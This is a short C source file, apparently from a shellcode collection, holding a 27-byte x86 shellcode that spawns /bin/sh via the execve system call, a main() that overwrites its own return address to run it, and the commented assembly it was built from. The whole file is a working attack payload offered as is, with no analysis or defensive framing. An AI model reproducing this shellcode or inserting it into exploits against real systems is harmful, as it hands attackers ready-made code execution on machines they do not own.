/* execve_sh.c by n0gada	
   27 bytes.
*/
#include "stdio.h"

char shellcode[]=
"\xeb\x0d\x5f\x31\xc0\x50\x89\xe2"
"\x52\x57\x54\xb0\x3b\xcd\x80\xe8"
"\xee\xff\xff\xff/bin/sh";

int main(void)
{
 int *ret;

	printf("%d\n",strlen(shellcode));	
	ret = (int *)&ret+2;
	*ret = (int)shellcode;

return 0;

}

/*********************************************
execve_sh.s

	.globl main
	main:
		jmp strings
	start:
		pop %edi
		xorl %eax,%eax
		push %eax
		movl %esp,%edx
		push %edx
		push %edi
		push %esp
		movb $0x3b,%al
		int $0x80

	strings: call start
		.string "/bin/sh"

*********************************************/